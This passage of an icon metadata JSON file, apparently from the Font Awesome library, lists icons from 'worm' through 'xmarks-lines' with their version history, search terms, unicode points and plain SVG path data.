        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119.3 8 8 119.2 8 256c0 136.7 111.3 248 248 248s248-111.3 248-248C504 119.2 392.7 8 256 8zM33 256c0-32.3 6.9-63 19.3-90.7l106.4 291.4C84.3 420.5 33 344.2 33 256zm223 223c-21.9 0-43-3.2-63-9.1l66.9-194.4 68.5 187.8c.5 1.1 1 2.1 1.6 3.1-23.1 8.1-48 12.6-74 12.6zm30.7-327.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-21.9 0-58.7-2.8-58.7-2.8-12-.7-13.4 17.7-1.4 18.4 0 0 11.4 1.4 23.4 2.1l34.7 95.2L200.6 393l-81.2-241.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-4.2 0-9.1-.1-14.4-.3C109.6 73 178.1 33 256 33c58 0 110.9 22.2 150.6 58.5-1-.1-1.9-.2-2.9-.2-21.9 0-37.4 19.1-37.4 39.6 0 18.4 10.6 33.9 21.9 52.3 8.5 14.8 18.4 33.9 18.4 61.5 0 19.1-7.3 41.2-17 72.1l-22.2 74.3-80.7-239.6zm81.4 297.2l68.1-196.9c12.7-31.8 17-57.2 17-79.9 0-8.2-.5-15.8-1.5-22.9 17.4 31.8 27.3 68.2 27.3 107 0 82.3-44.6 154.1-110.9 192.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 8C119.3 8 8 119.2 8 256c0 136.7 111.3 248 248 248s248-111.3 248-248C504 119.2 392.7 8 256 8zM33 256c0-32.3 6.9-63 19.3-90.7l106.4 291.4C84.3 420.5 33 344.2 33 256zm223 223c-21.9 0-43-3.2-63-9.1l66.9-194.4 68.5 187.8c.5 1.1 1 2.1 1.6 3.1-23.1 8.1-48 12.6-74 12.6zm30.7-327.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-21.9 0-58.7-2.8-58.7-2.8-12-.7-13.4 17.7-1.4 18.4 0 0 11.4 1.4 23.4 2.1l34.7 95.2L200.6 393l-81.2-241.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-4.2 0-9.1-.1-14.4-.3C109.6 73 178.1 33 256 33c58 0 110.9 22.2 150.6 58.5-1-.1-1.9-.2-2.9-.2-21.9 0-37.4 19.1-37.4 39.6 0 18.4 10.6 33.9 21.9 52.3 8.5 14.8 18.4 33.9 18.4 61.5 0 19.1-7.3 41.2-17 72.1l-22.2 74.3-80.7-239.6zm81.4 297.2l68.1-196.9c12.7-31.8 17-57.2 17-79.9 0-8.2-.5-15.8-1.5-22.9 17.4 31.8 27.3 68.2 27.3 107 0 82.3-44.6 154.1-110.9 192.7z"
      }
    },
    "free": ["brands"]
  },
  "worm": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["dirt", "garden", "worm", "wriggle"]
    },
    "styles": ["solid"],
    "unicode": "e599",
    "label": "Worm",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 96c0-53 43-96 96-96h38.4C439.9 0 480 40.1 480 89.6V176v16V376c0 75.1-60.9 136-136 136s-136-60.9-136-136V296c0-22.1-17.9-40-40-40s-40 17.9-40 40V464c0 26.5-21.5 48-48 48s-48-21.5-48-48V296c0-75.1 60.9-136 136-136s136 60.9 136 136v80c0 22.1 17.9 40 40 40s40-17.9 40-40V192H352c-53 0-96-43-96-96zm144-8a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 96c0-53 43-96 96-96h38.4C439.9 0 480 40.1 480 89.6V176v16V376c0 75.1-60.9 136-136 136s-136-60.9-136-136V296c0-22.1-17.9-40-40-40s-40 17.9-40 40V464c0 26.5-21.5 48-48 48s-48-21.5-48-48V296c0-75.1 60.9-136 136-136s136 60.9 136 136v80c0 22.1 17.9 40 40 40s40-17.9 40-40V192H352c-53 0-96-43-96-96zm144-8a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z"
      }
    },
    "free": ["solid"]
  },
  "wpbeginner": {
    "changes": ["4.6.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f297",
    "label": "WPBeginner",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M462.799 322.374C519.01 386.682 466.961 480 370.944 480c-39.602 0-78.824-17.687-100.142-50.04-6.887.356-22.702.356-29.59 0C219.848 462.381 180.588 480 141.069 480c-95.49 0-148.348-92.996-91.855-157.626C-29.925 190.523 80.479 32 256.006 32c175.632 0 285.87 158.626 206.793 290.374zm-339.647-82.972h41.529v-58.075h-41.529v58.075zm217.18 86.072v-23.839c-60.506 20.915-132.355 9.198-187.589-33.971l.246 24.897c51.101 46.367 131.746 57.875 187.343 32.913zm-150.753-86.072h166.058v-58.075H189.579v58.075z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M462.799 322.374C519.01 386.682 466.961 480 370.944 480c-39.602 0-78.824-17.687-100.142-50.04-6.887.356-22.702.356-29.59 0C219.848 462.381 180.588 480 141.069 480c-95.49 0-148.348-92.996-91.855-157.626C-29.925 190.523 80.479 32 256.006 32c175.632 0 285.87 158.626 206.793 290.374zm-339.647-82.972h41.529v-58.075h-41.529v58.075zm217.18 86.072v-23.839c-60.506 20.915-132.355 9.198-187.589-33.971l.246 24.897c51.101 46.367 131.746 57.875 187.343 32.913zm-150.753-86.072h166.058v-58.075H189.579v58.075z"
      }
    },
    "free": ["brands"]
  },
  "wpexplorer": {
    "changes": ["4.7.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2de",
    "label": "WPExplorer",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 256c0 141.2-114.7 256-256 256C114.8 512 0 397.3 0 256S114.7 0 256 0s256 114.7 256 256zm-32 0c0-123.2-100.3-224-224-224C132.5 32 32 132.5 32 256s100.5 224 224 224 224-100.5 224-224zM160.9 124.6l86.9 37.1-37.1 86.9-86.9-37.1 37.1-86.9zm110 169.1l46.6 94h-14.6l-50-100-48.9 100h-14l51.1-106.9-22.3-9.4 6-14 68.6 29.1-6 14.3-16.5-7.1zm-11.8-116.3l68.6 29.4-29.4 68.3L230 246l29.1-68.6zm80.3 42.9l54.6 23.1-23.4 54.3-54.3-23.1 23.1-54.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 256c0 141.2-114.7 256-256 256C114.8 512 0 397.3 0 256S114.7 0 256 0s256 114.7 256 256zm-32 0c0-123.2-100.3-224-224-224C132.5 32 32 132.5 32 256s100.5 224 224 224 224-100.5 224-224zM160.9 124.6l86.9 37.1-37.1 86.9-86.9-37.1 37.1-86.9zm110 169.1l46.6 94h-14.6l-50-100-48.9 100h-14l51.1-106.9-22.3-9.4 6-14 68.6 29.1-6 14.3-16.5-7.1zm-11.8-116.3l68.6 29.4-29.4 68.3L230 246l29.1-68.6zm80.3 42.9l54.6 23.1-23.4 54.3-54.3-23.1 23.1-54.3z"
      }
    },
    "free": ["brands"]
  },
  "wpforms": {
    "changes": ["4.6.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f298",
    "label": "WPForms",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 75.2v361.7c0 24.3-19 43.2-43.2 43.2H43.2C19.3 480 0 461.4 0 436.8V75.2C0 51.1 18.8 32 43.2 32h361.7c24 0 43.1 18.8 43.1 43.2zm-37.3 361.6V75.2c0-3-2.6-5.8-5.8-5.8h-9.3L285.3 144 224 94.1 162.8 144 52.5 69.3h-9.3c-3.2 0-5.8 2.8-5.8 5.8v361.7c0 3 2.6 5.8 5.8 5.8h361.7c3.2.1 5.8-2.7 5.8-5.8zM150.2 186v37H76.7v-37h73.5zm0 74.4v37.3H76.7v-37.3h73.5zm11.1-147.3l54-43.7H96.8l64.5 43.7zm210 72.9v37h-196v-37h196zm0 74.4v37.3h-196v-37.3h196zm-84.6-147.3l64.5-43.7H232.8l53.9 43.7zM371.3 335v37.3h-99.4V335h99.4z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 75.2v361.7c0 24.3-19 43.2-43.2 43.2H43.2C19.3 480 0 461.4 0 436.8V75.2C0 51.1 18.8 32 43.2 32h361.7c24 0 43.1 18.8 43.1 43.2zm-37.3 361.6V75.2c0-3-2.6-5.8-5.8-5.8h-9.3L285.3 144 224 94.1 162.8 144 52.5 69.3h-9.3c-3.2 0-5.8 2.8-5.8 5.8v361.7c0 3 2.6 5.8 5.8 5.8h361.7c3.2.1 5.8-2.7 5.8-5.8zM150.2 186v37H76.7v-37h73.5zm0 74.4v37.3H76.7v-37.3h73.5zm11.1-147.3l54-43.7H96.8l64.5 43.7zm210 72.9v37h-196v-37h196zm0 74.4v37.3h-196v-37.3h196zm-84.6-147.3l64.5-43.7H232.8l53.9 43.7zM371.3 335v37.3h-99.4V335h99.4z"
      }
    },
    "free": ["brands"]
  },
  "wpressr": {
    "aliases": {
      "names": ["rendact"]
    },
    "changes": ["5.4.2"],
    "ligatures": [],
    "search": {
      "terms": ["rendact"]
    },
    "styles": ["brands"],
    "unicode": "f3e4",
    "label": "wpressr",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm171.33 158.6c-15.18 34.51-30.37 69.02-45.63 103.5-2.44 5.51-6.89 8.24-12.97 8.24-23.02-.01-46.03.06-69.05-.05-5.12-.03-8.25 1.89-10.34 6.72-10.19 23.56-20.63 47-30.95 70.5-1.54 3.51-4.06 5.29-7.92 5.29-45.94-.01-91.87-.02-137.81 0-3.13 0-5.63-1.15-7.72-3.45-11.21-12.33-22.46-24.63-33.68-36.94-2.69-2.95-2.79-6.18-1.21-9.73 8.66-19.54 17.27-39.1 25.89-58.66 12.93-29.35 25.89-58.69 38.75-88.08 1.7-3.88 4.28-5.68 8.54-5.65 14.24.1 28.48.02 42.72.05 6.24.01 9.2 4.84 6.66 10.59-13.6 30.77-27.17 61.55-40.74 92.33-5.72 12.99-11.42 25.99-17.09 39-3.91 8.95 7.08 11.97 10.95 5.6.23-.37-1.42 4.18 30.01-67.69 1.36-3.1 3.41-4.4 6.77-4.39 15.21.08 30.43.02 45.64.04 5.56.01 7.91 3.64 5.66 8.75-8.33 18.96-16.71 37.9-24.98 56.89-4.98 11.43 8.08 12.49 11.28 5.33.04-.08 27.89-63.33 32.19-73.16 2.02-4.61 5.44-6.51 10.35-6.5 26.43.05 52.86 0 79.29.05 12.44.02 13.93-13.65 3.9-13.64-25.26.03-50.52.02-75.78.02-6.27 0-7.84-2.47-5.27-8.27 5.78-13.06 11.59-26.11 17.3-39.21 1.73-3.96 4.52-5.79 8.84-5.78 23.09.06 25.98.02 130.78.03 6.08-.01 8.03 2.79 5.62 8.27z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm171.33 158.6c-15.18 34.51-30.37 69.02-45.63 103.5-2.44 5.51-6.89 8.24-12.97 8.24-23.02-.01-46.03.06-69.05-.05-5.12-.03-8.25 1.89-10.34 6.72-10.19 23.56-20.63 47-30.95 70.5-1.54 3.51-4.06 5.29-7.92 5.29-45.94-.01-91.87-.02-137.81 0-3.13 0-5.63-1.15-7.72-3.45-11.21-12.33-22.46-24.63-33.68-36.94-2.69-2.95-2.79-6.18-1.21-9.73 8.66-19.54 17.27-39.1 25.89-58.66 12.93-29.35 25.89-58.69 38.75-88.08 1.7-3.88 4.28-5.68 8.54-5.65 14.24.1 28.48.02 42.72.05 6.24.01 9.2 4.84 6.66 10.59-13.6 30.77-27.17 61.55-40.74 92.33-5.72 12.99-11.42 25.99-17.09 39-3.91 8.95 7.08 11.97 10.95 5.6.23-.37-1.42 4.18 30.01-67.69 1.36-3.1 3.41-4.4 6.77-4.39 15.21.08 30.43.02 45.64.04 5.56.01 7.91 3.64 5.66 8.75-8.33 18.96-16.71 37.9-24.98 56.89-4.98 11.43 8.08 12.49 11.28 5.33.04-.08 27.89-63.33 32.19-73.16 2.02-4.61 5.44-6.51 10.35-6.5 26.43.05 52.86 0 79.29.05 12.44.02 13.93-13.65 3.9-13.64-25.26.03-50.52.02-75.78.02-6.27 0-7.84-2.47-5.27-8.27 5.78-13.06 11.59-26.11 17.3-39.21 1.73-3.96 4.52-5.79 8.84-5.78 23.09.06 25.98.02 130.78.03 6.08-.01 8.03 2.79 5.62 8.27z"
      }
    },
    "free": ["brands"]
  },
  "wrench": {
    "aliases": {
      "unicodes": {
        "composite": ["1f527"],
        "secondary": ["10f0ad"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.0.13",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "construction",
        "fix",
        "mechanic",
        "plumbing",
        "settings",
        "spanner",
        "tool",
        "update",
        "wrench"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0ad",
    "label": "Wrench",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M352 320c88.4 0 160-71.6 160-160c0-15.3-2.2-30.1-6.2-44.2c-3.1-10.8-16.4-13.2-24.3-5.3l-76.8 76.8c-3 3-7.1 4.7-11.3 4.7H336c-8.8 0-16-7.2-16-16V118.6c0-4.2 1.7-8.3 4.7-11.3l76.8-76.8c7.9-7.9 5.4-21.2-5.3-24.3C382.1 2.2 367.3 0 352 0C263.6 0 192 71.6 192 160c0 19.1 3.4 37.5 9.5 54.5L19.9 396.1C7.2 408.8 0 426.1 0 444.1C0 481.6 30.4 512 67.9 512c18 0 35.3-7.2 48-19.9L297.5 310.5c17 6.2 35.4 9.5 54.5 9.5zM80 408a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M352 320c88.4 0 160-71.6 160-160c0-15.3-2.2-30.1-6.2-44.2c-3.1-10.8-16.4-13.2-24.3-5.3l-76.8 76.8c-3 3-7.1 4.7-11.3 4.7H336c-8.8 0-16-7.2-16-16V118.6c0-4.2 1.7-8.3 4.7-11.3l76.8-76.8c7.9-7.9 5.4-21.2-5.3-24.3C382.1 2.2 367.3 0 352 0C263.6 0 192 71.6 192 160c0 19.1 3.4 37.5 9.5 54.5L19.9 396.1C7.2 408.8 0 426.1 0 444.1C0 481.6 30.4 512 67.9 512c18 0 35.3-7.2 48-19.9L297.5 310.5c17 6.2 35.4 9.5 54.5 9.5zM80 408a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["solid"]
  },
  "x": {
    "aliases": {
      "unicodes": {
        "composite": ["78"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter X", "Latin Small Letter X", "letter"]
    },
    "styles": ["solid"],
    "unicode": "58",
    "label": "X",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M376.6 84.5c11.3-13.6 9.5-33.8-4.1-45.1s-33.8-9.5-45.1 4.1L192 206 56.6 43.5C45.3 29.9 25.1 28.1 11.5 39.4S-3.9 70.9 7.4 84.5L150.3 256 7.4 427.5c-11.3 13.6-9.5 33.8 4.1 45.1s33.8 9.5 45.1-4.1L192 306 327.4 468.5c11.3 13.6 31.5 15.4 45.1 4.1s15.4-31.5 4.1-45.1L233.7 256 376.6 84.5z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M376.6 84.5c11.3-13.6 9.5-33.8-4.1-45.1s-33.8-9.5-45.1 4.1L192 206 56.6 43.5C45.3 29.9 25.1 28.1 11.5 39.4S-3.9 70.9 7.4 84.5L150.3 256 7.4 427.5c-11.3 13.6-9.5 33.8 4.1 45.1s33.8 9.5 45.1-4.1L192 306 327.4 468.5c11.3 13.6 31.5 15.4 45.1 4.1s15.4-31.5 4.1-45.1L233.7 256 376.6 84.5z"
      }
    },
    "free": ["solid"]
  },
  "x-ray": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f497"]
      }
    },
    "changes": ["5.0.7", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "health",
        "medical",
        "radiological images",
        "radiology",
        "skeleton"
      ]
    },
    "styles": ["solid"],
    "unicode": "f497",
    "label": "X Ray",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32V416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32V96C14.3 96 0 81.7 0 64zM256 96c-8.8 0-16 7.2-16 16v32H160c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v48H128c-8.8 0-16 7.2-16 16s7.2 16 16 16H240v70.6L189.1 307c-5.2-2-10.6-3-16.2-3h-2.1c-23.6 0-42.8 19.2-42.8 42.8c0 9.6 3.2 18.9 9.1 26.4l18.2 23.2c9.7 12.4 24.6 19.6 40.3 19.6H316.4c15.7 0 30.6-7.2 40.3-19.6l18.2-23.2c5.9-7.5 9.1-16.8 9.1-26.4c0-23.6-19.2-42.8-42.8-42.8H339c-5.5 0-11 1-16.2 3L272 326.6V256H384c8.8 0 16-7.2 16-16s-7.2-16-16-16H272V176h80c8.8 0 16-7.2 16-16s-7.2-16-16-16H272V112c0-8.8-7.2-16-16-16zM208 352a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm80 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32V416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32V96C14.3 96 0 81.7 0 64zM256 96c-8.8 0-16 7.2-16 16v32H160c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v48H128c-8.8 0-16 7.2-16 16s7.2 16 16 16H240v70.6L189.1 307c-5.2-2-10.6-3-16.2-3h-2.1c-23.6 0-42.8 19.2-42.8 42.8c0 9.6 3.2 18.9 9.1 26.4l18.2 23.2c9.7 12.4 24.6 19.6 40.3 19.6H316.4c15.7 0 30.6-7.2 40.3-19.6l18.2-23.2c5.9-7.5 9.1-16.8 9.1-26.4c0-23.6-19.2-42.8-42.8-42.8H339c-5.5 0-11 1-16.2 3L272 326.6V256H384c8.8 0 16-7.2 16-16s-7.2-16-16-16H272V176h80c8.8 0 16-7.2 16-16s-7.2-16-16-16H272V112c0-8.8-7.2-16-16-16zM208 352a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm80 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z"
      }
    },
    "free": ["solid"]
  },
  "x-twitter": {
    "changes": ["6.4.2"],
    "ligatures": [],
    "search": {
      "terms": ["  elon", " twitter", " x"]
    },
    "styles": ["brands"],
    "unicode": "e61b",
    "label": "X Twitter",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1690904784,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M389.2 48h70.6L305.6 224.2 487 464H345L233.7 318.6 106.5 464H35.8L200.7 275.5 26.8 48H172.4L272.9 180.9 389.2 48zM364.4 421.8h39.1L151.1 88h-42L364.4 421.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M389.2 48h70.6L305.6 224.2 487 464H345L233.7 318.6 106.5 464H35.8L200.7 275.5 26.8 48H172.4L272.9 180.9 389.2 48zM364.4 421.8h39.1L151.1 88h-42L364.4 421.8z"
      }
    },
    "free": ["brands"]
  },
  "xbox": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f412",
    "label": "Xbox",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M369.9 318.2c44.3 54.3 64.7 98.8 54.4 118.7-7.9 15.1-56.7 44.6-92.6 55.9-29.6 9.3-68.4 13.3-100.4 10.2-38.2-3.7-76.9-17.4-110.1-39C93.3 445.8 87 438.3 87 423.4c0-29.9 32.9-82.3 89.2-142.1 32-33.9 76.5-73.7 81.4-72.6 9.4 2.1 84.3 75.1 112.3 109.5zM188.6 143.8c-29.7-26.9-58.1-53.9-86.4-63.4-15.2-5.1-16.3-4.8-28.7 8.1-29.2 30.4-53.5 79.7-60.3 122.4-5.4 34.2-6.1 43.8-4.2 60.5 5.6 50.5 17.3 85.4 40.5 120.9 9.5 14.6 12.1 17.3 9.3 9.9-4.2-11-.3-37.5 9.5-64 14.3-39 53.9-112.9 120.3-194.4zm311.6 63.5C483.3 127.3 432.7 77 425.6 77c-7.3 0-24.2 6.5-36 13.9-23.3 14.5-41 31.4-64.3 52.8C367.7 197 427.5 283.1 448.2 346c6.8 20.7 9.7 41.1 7.4 52.3-1.7 8.5-1.7 8.5 1.4 4.6 6.1-7.7 19.9-31.3 25.4-43.5 7.4-16.2 15-40.2 18.6-58.7 4.3-22.5 3.9-70.8-.8-93.4zM141.3 43C189 40.5 251 77.5 255.6 78.4c.7.1 10.4-4.2 21.6-9.7 63.9-31.1 94-25.8 107.4-25.2-63.9-39.3-152.7-50-233.9-11.7-23.4 11.1-24 11.9-9.4 11.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M369.9 318.2c44.3 54.3 64.7 98.8 54.4 118.7-7.9 15.1-56.7 44.6-92.6 55.9-29.6 9.3-68.4 13.3-100.4 10.2-38.2-3.7-76.9-17.4-110.1-39C93.3 445.8 87 438.3 87 423.4c0-29.9 32.9-82.3 89.2-142.1 32-33.9 76.5-73.7 81.4-72.6 9.4 2.1 84.3 75.1 112.3 109.5zM188.6 143.8c-29.7-26.9-58.1-53.9-86.4-63.4-15.2-5.1-16.3-4.8-28.7 8.1-29.2 30.4-53.5 79.7-60.3 122.4-5.4 34.2-6.1 43.8-4.2 60.5 5.6 50.5 17.3 85.4 40.5 120.9 9.5 14.6 12.1 17.3 9.3 9.9-4.2-11-.3-37.5 9.5-64 14.3-39 53.9-112.9 120.3-194.4zm311.6 63.5C483.3 127.3 432.7 77 425.6 77c-7.3 0-24.2 6.5-36 13.9-23.3 14.5-41 31.4-64.3 52.8C367.7 197 427.5 283.1 448.2 346c6.8 20.7 9.7 41.1 7.4 52.3-1.7 8.5-1.7 8.5 1.4 4.6 6.1-7.7 19.9-31.3 25.4-43.5 7.4-16.2 15-40.2 18.6-58.7 4.3-22.5 3.9-70.8-.8-93.4zM141.3 43C189 40.5 251 77.5 255.6 78.4c.7.1 10.4-4.2 21.6-9.7 63.9-31.1 94-25.8 107.4-25.2-63.9-39.3-152.7-50-233.9-11.7-23.4 11.1-24 11.9-9.4 11.2z"
      }
    },
    "free": ["brands"]
  },
  "xing": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f168",
    "label": "Xing",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M162.7 210c-1.8 3.3-25.2 44.4-70.1 123.5-4.9 8.3-10.8 12.5-17.7 12.5H9.8c-7.7 0-12.1-7.5-8.5-14.4l69-121.3c.2 0 .2-.1 0-.3l-43.9-75.6c-4.3-7.8.3-14.1 8.5-14.1H100c7.3 0 13.3 4.1 18 12.2l44.7 77.5zM382.6 46.1l-144 253v.3L330.2 466c3.9 7.1.2 14.1-8.5 14.1h-65.2c-7.6 0-13.6-4-18-12.2l-92.4-168.5c3.3-5.8 51.5-90.8 144.8-255.2 4.6-8.1 10.4-12.2 17.5-12.2h65.7c8 0 12.3 6.7 8.5 14.1z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M162.7 210c-1.8 3.3-25.2 44.4-70.1 123.5-4.9 8.3-10.8 12.5-17.7 12.5H9.8c-7.7 0-12.1-7.5-8.5-14.4l69-121.3c.2 0 .2-.1 0-.3l-43.9-75.6c-4.3-7.8.3-14.1 8.5-14.1H100c7.3 0 13.3 4.1 18 12.2l44.7 77.5zM382.6 46.1l-144 253v.3L330.2 466c3.9 7.1.2 14.1-8.5 14.1h-65.2c-7.6 0-13.6-4-18-12.2l-92.4-168.5c3.3-5.8 51.5-90.8 144.8-255.2 4.6-8.1 10.4-12.2 17.5-12.2h65.7c8 0 12.3 6.7 8.5 14.1z"
      }
    },
    "free": ["brands"]
  },
  "xmark": {
    "aliases": {
      "names": ["close", "multiply", "remove", "times"],
      "unicodes": {
        "composite": ["1f5d9", "2715", "2716", "274c", "d7"],
        "secondary": ["10f00d"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.0.13",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Cancellation X",
        "Multiplication Sign",
        "Multiplication X",
        "cancel",
        "close",
        "cross",
        "cross mark",
        "error",
        "exit",
        "incorrect",
        "mark",
        "multiplication",
        "multiply",
        "notice",
        "notification",
        "notify",
        "problem",
        "sign",
        "wrong",
        "x",
        "×"
      ]
    },
    "styles": ["solid"],
    "unicode": "f00d",
    "label": "Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M342.6 150.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L192 210.7 86.6 105.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L146.7 256 41.4 361.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L192 301.3 297.4 406.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L237.3 256 342.6 150.6z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M342.6 150.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L192 210.7 86.6 105.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L146.7 256 41.4 361.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L192 301.3 297.4 406.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L237.3 256 342.6 150.6z"
      }
    },
    "free": ["solid"]
  },
  "xmarks-lines": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["barricade", "barrier", "fence", "poison", "roadblock"]
    },
    "styles": ["solid"],
    "unicode": "e59a",
    "label": "Xmarks Lines",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
